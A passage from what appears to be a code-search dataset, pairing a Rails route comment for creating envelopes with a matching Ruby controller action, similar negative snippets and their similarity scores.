"def show\n @conference = Conference.find(params[:id])\n @transactions = @conference.transactions\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @conference }\n end\n end",
"def index\n @invitations = Invitation.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\n end",
"def show\n @emailcontact = Emailcontact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @emailcontact }\n end\n end",
"def show\n @sentidoresolucion = Sentidoresolucion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sentidoresolucion }\n end\n end",
"def index\n name = @xml.elements['/name'].text\n @sentence = \"Hello #{name} !\"\n render_xml\n end",
"def to_xml(envelope)\n to_doc(envelope).to_xml save_with: Nokogiri::XML::Node::SaveOptions::NO_DECLARATION\n end",
"def index\n @eversions = Eversion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eversions }\n end\n end",
"def show\n\n @venue = Venue.find(params[:id])\n @concerts = Concert.where(:venue_id=>@venue.id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def set_user_envelope\n @user_envelope = UserEnvelope.find(params[:id])\n end",
"def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clientes }\n end\n end",
"def index\n @contracts = @project.contracts\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contracts }\n end\n end"
] |
[
"0.7535521",
"0.7115806",
"0.6547185",
"0.63976353",
"0.6288323",
"0.61331165",
"0.60994565",
"0.6093301",
"0.6093301",
"0.60590094",
"0.60450315",
"0.5831211",
"0.57670385",
"0.57586735",
"0.57584345",
"0.5721553",
"0.5703387",
"0.56566435",
"0.56417364",
"0.5632278",
"0.5622207",
"0.5617326",
"0.5493021",
"0.5484425",
"0.5476377",
"0.54598665",
"0.542965",
"0.5409962",
"0.5396962",
"0.5384411",
"0.53818965",
"0.5374411",
"0.53632563",
"0.5339202",
"0.53367513",
"0.53260815",
"0.53020227",
"0.5301847",
"0.5301265",
"0.5300432",
"0.5290223",
"0.5262313",
"0.52534384",
"0.5241948",
"0.52349854",
"0.52325934",
"0.5224251",
"0.52187365",
"0.52165204",
"0.5214582",
"0.5205889",
"0.5201102",
"0.5196774",
"0.5190122",
"0.51805675",
"0.51794887",
"0.51583564",
"0.5142301",
"0.51328975",
"0.513247",
"0.5132153",
"0.5119972",
"0.511411",
"0.5102389",
"0.50968915",
"0.50933826",
"0.5083863",
"0.5080691",
"0.50724417",
"0.5067972",
"0.5065365",
"0.505322",
"0.50516456",
"0.50516456",
"0.50341594",
"0.5025217",
"0.502281",
"0.5020588",
"0.5014657",
"0.50135374",
"0.50126046",
"0.50111765",
"0.5004828",
"0.5004141",
"0.5002908",
"0.5000849",
"0.49949932",
"0.49827582",
"0.49822298",
"0.49766",
"0.49750006",
"0.4974951",
"0.49724507",
"0.4969685",
"0.49687338",
"0.49660066",
"0.4962164",
"0.49610347",
"0.4959927",
"0.49550325"
] |
0.7211642
|
1
|
GET /envelopes/new GET /envelopes/new.xml
|
def new
@envelope = Envelope.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @envelope }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @envelope }\n end\n end",
"def create\n @envelope = Envelope.new(params[:envelope])\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render json: @envelope, status: :created, location: @envelope }\n else\n format.html { render action: \"new\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @envelope = Envelope.new(envelope_params)\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render :show, status: :created, location: @envelope }\n else\n format.html { render :new }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @envelope = Envelope.new(params[:envelope].merge({:account_id => Docusign::Config[:account_id]}))\n\n respond_to do |format|\n if @envelope.save\n flash[:notice] = 'Envelope was successfully created.'\n format.html { redirect_to(@envelope) }\n format.xml { render :xml => @envelope, :status => :created, :location => @envelope }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email }\n end\n end",
"def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract }\n end\n end",
"def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract }\n end\n end",
"def new\n @sentence = Sentence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sentence }\n end\n end",
"def new\n @docent = Docent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @docent }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @inbound_email = InboundEmail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inbound_email }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fund_request }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end",
"def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n @email_template = EmailTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_template }\n end\n end",
"def new\n @emailcontact = Emailcontact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @emailcontact }\n end\n end",
"def new\n @sprint = Sprint.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n @solicitation = @representative.solicitations.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitation }\n end\n end",
"def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end",
"def new\n @namespace = Namespace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @namespace }\n end\n end",
"def new\n @views_email = ViewsEmail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @views_email }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @snap = Snap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @snap }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @newsletter = Newsletter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newsletter }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @election }\n end\n end",
"def new\n @signature = Signature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @signature }\n end\n end",
"def new\n @incentive = Incentive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incentive }\n end\n end",
"def new\n @issued = Issued.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @issued }\n end\n end",
"def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"def new\n @exchange = Exchange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @exchange }\n end\n end",
"def new\n @alphasignup = Alphasignup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alphasignup }\n end\n end",
"def new\n @subscription = Subscription.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def new\n @subscription = Subscription.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @document }\n end\n end",
"def new\n @noun = Noun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noun }\n end\n end",
"def new\n @counterparty = Counterparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @counterparty }\n end\n end",
"def new\n @proposal = Proposal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proposal }\n end\n end",
"def new\n @proposal = Proposal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @proposal }\n end\n end",
"def envelope\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}\")\n end",
"def new\n @alert_email = AlertEmail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alert_email }\n end\n end",
"def show\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @envelope }\n end\n end",
"def new\n @contract_template = ContractTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract_template }\n end\n end",
"def new\n @click_to_talk = ClickToTalk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @click_to_talk }\n end\n end",
"def new\n @invite_request = InviteRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite_request }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def new\n @serialize = Serialize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serialize }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @receipt = Receipt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @receipt }\n end\n end",
"def new\n @renewal = Renewal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @renewal }\n end\n end",
"def new\n @document = Document.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"def new\n @conference = Conference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conference }\n end\n end",
"def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end",
"def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end",
"def new\n @published_document = PublishedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @published_document }\n end\n end",
"def new\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nagios_service_escalation_template }\n end\n end",
"def new\n @subscription = Subscription.new\n @subscription.confirmed = true\n get_list_and_segments\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"def new\n @inv_type = InvType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inv_type }\n end\n end",
"def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subject }\n end\n end",
"def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subject }\n end\n end",
"def new\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subject }\n end\n end",
"def new\n @email_list = EmailList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_list }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @licence }\n end\n end",
"def new\n @transaction = Transaction.new\n @transaction.build_document\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lease }\n end\n end",
"def new\n @announcer = Announcer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcer }\n end\n end",
"def new\n @estoques = Estoque.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estoques }\n end\n end",
"def new\n @mail = Mail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mail }\n end\n end",
"def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stock }\n end\n end",
"def new\n @outline = Outline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @outline }\n end\n end",
"def new\n @sentidoresolucion = Sentidoresolucion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sentidoresolucion }\n end\n end",
"def new\n head :status => 405\n return\n \n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.xml { render :xml => @participant }\n end\n end",
"def new\n @users = User.find(:all)\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end",
"def new\n @pdig = Pdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pdig }\n end\n end",
"def new\n @inbound_email_log = InboundEmailLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inbound_email_log }\n end\n end",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def new\n @email_type = EmailType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_type }\n end\n end",
"def new\n @gift_cert = GiftCert.new\n \n respond_to do |format|\n format.xml { render :xml => @gift_cert }\n end\n end",
"def new\n @encounter_type = EncounterType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @encounter_type }\n end\n end",
"def new\n @subcontractor = Subcontractor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subcontractor }\n end\n end",
"def new\n @az_invoice = AzInvoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @az_invoice }\n end\n end",
"def new\n\t\t@publisher = Publisher.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @publisher }\n\t\tend\n\tend",
"def new\n @simple_event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simple_event }\n end\n end",
"def new\n @event = Event.new_default\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite }\n end\n end",
"def new\n @grammar = Grammar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @grammar }\n end\n end",
"def new\n @provision = Provision.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provision }\n end\n end",
"def new\n @kennel = Kennel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kennel }\n end\n end",
"def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @badge }\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end",
"def new\n @message = Message.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @message }\n end\n end"
] |
[
"0.762909",
"0.67870647",
"0.6645444",
"0.649276",
"0.62807614",
"0.62023115",
"0.62023115",
"0.6178899",
"0.617878",
"0.61757773",
"0.61732143",
"0.61683035",
"0.61626136",
"0.6130912",
"0.6130912",
"0.6130106",
"0.6094337",
"0.6089539",
"0.6085175",
"0.6061983",
"0.6054156",
"0.60487497",
"0.6045866",
"0.6045608",
"0.60375184",
"0.6033089",
"0.6032045",
"0.6026228",
"0.6024546",
"0.6024525",
"0.601175",
"0.60099167",
"0.6005606",
"0.60021967",
"0.59996414",
"0.59996414",
"0.59960437",
"0.5989463",
"0.5988198",
"0.59761184",
"0.59761184",
"0.5971427",
"0.59707916",
"0.5965774",
"0.5965237",
"0.59613234",
"0.5958425",
"0.5951272",
"0.5951272",
"0.5951272",
"0.59429365",
"0.5942339",
"0.5942339",
"0.5942339",
"0.5938207",
"0.5919637",
"0.59189224",
"0.59186506",
"0.591529",
"0.5914078",
"0.59060967",
"0.5902994",
"0.5902721",
"0.59014",
"0.58968633",
"0.5894971",
"0.5892342",
"0.5892342",
"0.5892342",
"0.5892254",
"0.58866787",
"0.5876743",
"0.5876405",
"0.5876145",
"0.5865651",
"0.58637995",
"0.5853717",
"0.5848402",
"0.5848141",
"0.5846971",
"0.58439994",
"0.58432376",
"0.584094",
"0.58359617",
"0.5834548",
"0.5833807",
"0.5827613",
"0.58272064",
"0.58258075",
"0.58235824",
"0.58202195",
"0.58172816",
"0.58151203",
"0.5810242",
"0.5807629",
"0.58060616",
"0.5803248",
"0.58002",
"0.5799667",
"0.5798404"
] |
0.7952011
|
0
|
POST /envelopes POST /envelopes.xml
|
def create
@envelope = Envelope.new(params[:envelope].merge({:account_id => Docusign::Config[:account_id]}))
respond_to do |format|
if @envelope.save
flash[:notice] = 'Envelope was successfully created.'
format.html { redirect_to(@envelope) }
format.xml { render :xml => @envelope, :status => :created, :location => @envelope }
else
format.html { render :action => "new" }
format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @envelope = Envelope.new(envelope_params)\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render :show, status: :created, location: @envelope }\n else\n format.html { render :new }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @envelope = Envelope.new(params[:envelope])\n\n respond_to do |format|\n if @envelope.save\n format.html { redirect_to @envelope, notice: 'Envelope was successfully created.' }\n format.json { render json: @envelope, status: :created, location: @envelope }\n else\n format.html { render action: \"new\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def envelope\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}\")\n end",
"def envelope_params\n params.require(:envelope).permit(:name)\n end",
"def envelope_params\n params[:envelope]\n end",
"def index\n @envelopes = Envelope.all\n end",
"def set_envelope\n @envelope = Envelope.find(params[:id])\n end",
"def set_envelope\n @envelope = Envelope.find(params[:id])\n end",
"def on_envelope(envelope)\n pass envelope\n end",
"def destroy\n @envelope = Envelope.find(params[:id])\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to(envelopes_url) }\n format.xml { head :ok }\n end\n end",
"def build_test_envelope\n Docusign::Envelope.new.tap do |e|\n doc = Docusign::Document.new\n tabs = doc.tabs do |d| \n d.tab :name => 'Make'\n d.tab :name => 'Model'\n d.tab :name => 'VIN'\n end\n \n e.tabs = tabs\n \n e.recipients = [\n Docusign::Recipient.new.tap do |r|\n r.template_required = true\n r.type = Docusign::RecipientTypeCode::Signer\n r.template_locked = true\n r.role_name = 'Insured'\n r.user_name = \"Mike Borozdin\"\n end\n ]\n end\n end",
"def user_envelope_params\n params.require(:user_envelope).permit(:amount, :user_id, :envelope_id)\n end",
"def envelope(data)\n return data if options[:envelope].blank?\n { options[:envelope].to_s => data }\n end",
"def configure_envelopes_api\n access_token = ENV['DOCUSIGN_ACCESS_TOKEN_TEMP']\n #Client API Config\n base_path = 'http://demo.docusign.net/restapi'\n configuration = DocuSign_eSign::Configuration.new\n configuration.host = base_path\n api_client = DocuSign_eSign::ApiClient.new(configuration)\n api_client.default_headers[\"Authorization\"] = \"Bearer \" + access_token\n envelopes_api = DocuSign_eSign::EnvelopesApi.new(api_client)\n end",
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @envelope }\n end\n end",
"def destroy\n @envelope.destroy\n respond_to do |format|\n format.html { redirect_to envelopes_url, notice: 'Envelope was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @envelope.update(envelope_params)\n format.html { redirect_to @envelope, notice: 'Envelope was successfully updated.' }\n format.json { render :show, status: :ok, location: @envelope }\n else\n format.html { render :edit }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n format.html { redirect_to @envelope, notice: 'Envelope was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @envelope.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end",
"def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end",
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def new\n @envelope = Envelope.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @envelope }\n end\n end",
"def update\n @envelope = Envelope.find(params[:id])\n\n respond_to do |format|\n if @envelope.update_attributes(params[:envelope])\n flash[:notice] = 'Envelope was successfully updated.'\n format.html { redirect_to(@envelope) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @envelope.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def envelope\n get_meta(:envelope)\n end",
"def add_envelope(message)\n #puts \"Adding envelope\"\n generator.wrap(message)\n end",
"def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end",
"def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params.to_xml, signature_params)\n end",
"def to_envelope\n \"ENVELOPE(#{west}, #{east}, #{north}, #{south})\"\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def build(x, envelope)\n x.complex(nil, ['http://schemas.xmlsoap.org/soap/envelope/', 'Envelope'], []) do |x|\n build_header(x, envelope.header)\n build_body(x, envelope.body)\n end\n end",
"def documents\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/documents\")[\"envelopeDocuments\"]\n end",
"def envelope\n raise Error::UnsupportedOperation, \"Method Geometry#envelope not defined.\"\n end",
"def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with 